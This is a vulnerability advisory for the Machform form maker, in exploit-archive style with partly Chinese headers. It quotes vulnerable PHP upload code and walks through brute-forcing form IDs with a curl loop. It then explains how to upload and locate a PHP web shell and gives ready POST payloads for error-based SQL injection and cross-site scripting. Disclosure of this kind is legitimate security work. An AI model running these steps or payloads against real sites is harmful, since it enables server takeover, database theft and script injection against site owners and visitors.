# 标题: Machform form maker - Multiple Vulnerabilities #作者: Yashar shahinzadeh # Credit goes for: ha.cker.ir # 开发者网站: https://www.appnitro.com # 已测试系统: Linux & Windows, PHP 5.2.9 # 影响版本 : 2 # Demonstration clip: https://y-shahinzadeh.ir/tutorial/machform.rar} ######################################################################## 摘要: ======== 1. 任意文件上传 2. MySQL注射 (Error based)和 XSS 1. 任意文件上传: ========================= ... if(!empty($uploaded_files)){ foreach ($uploaded_files as $element_name){ if(empty($form_review)){ //move file and check for invalid file $destination_file = $input['machform_data_path'].DATA_DIR."/form_{$form_id}/files/{$element_name}-{$record_insert_id}-{$_FILES[$element_name]['name']}"; if (move_uploaded_file($_FILES[$element_name]['tmp_name'], $destination_file)) { $filename = mysql_real_escape_string($_FILES[$element_name]['name']); $query = "update ap_form_{$form_id} set $element_name='{$element_name}-{$record_insert_id}-{$filename}' where id='$record_insert_id'"; do_query($query); } }else{ //for form with review enabled, append .tmp suffix to all uploaded files //move file and check for invalid file $destination_file = $input['machform_data_path'].DATA_DIR."/form_{$form_id}/files/{$element_name}-{$record_insert_id}-{$_FILES[$element_name]['name']}.tmp"; if (move_uploaded_file($_FILES[$element_name]['tmp_name'], $destination_file)) { $filename = mysql_real_escape_string($_FILES[$element_name]['name']); $query = "update ap_form_{$form_id}_review set $element_name='{$element_name}-{$record_insert_id}-{$filename}' where id='$record_insert_id'"; do_query($query); } if(!empty($uploaded_file_lookup[$element_name])){ unset($uploaded_file_lookup[$element_name]); } } } } ... ... 测试: In beginning, the hacker must aim view.php located at the root of site, observing the lines inside of mentioned file would be a big lead to disclosure of vulnerability: $input_array = ap_sanitize_input($_POST); $submit_result = process_form($input_array); These two lines have functions leading to have both MySQL injection and Arbitrary file upload vulnerability. I’m not going to audit codes, I may just illustrate the attack started by applying brute-force procedure on ID parameter so as to find a form consisting file upload form, it can be achieved by any program, I just issued a Linux command helped me find it properly: seq 1 500 | xargs -I XX -P32 curl -s https://target/view.php=XX -o XX.out grep “type=\”file\”" *.out Afterwards, an HTML element followed by “for=”(.*)” must be specified, picture below gives better concept: https://blog.y-shahinzadeh.ir/posts-images/machform/7.jpg All have to be done is uploading PHP shell, and trying to find its name on server. The file will be uploaded in the path: https://target.com/data/form_[ID]/[element name]-[mysql_insert_id()].php In URL above, [ID] is gathered in brute-force phase, [element name] is gathered by viewing HTML source, and [mysql_insert_id()] should be brute-forced again. Being relatively difficult, I’ve recorded a clip demonstrating what I’ve said: https://y-shahinzadeh.ir/tutorial/machform.rar 2. MySQL Injection (Error based) and XSS: ========================================= ... ... $input_array = ap_sanitize_input($_POST); ... ... Exploit (POST to view.php after finding HTML elements): element_1=1&element_2=’&element_3=1&form_id=11&submit=1 element_1=1&element_2=%27%22%28%29%26%251%3cScRiPt%20%3eprompt%28949236%29%3c%2fScRiPt%3e&element_3=1&form_id=11&submit=Enviar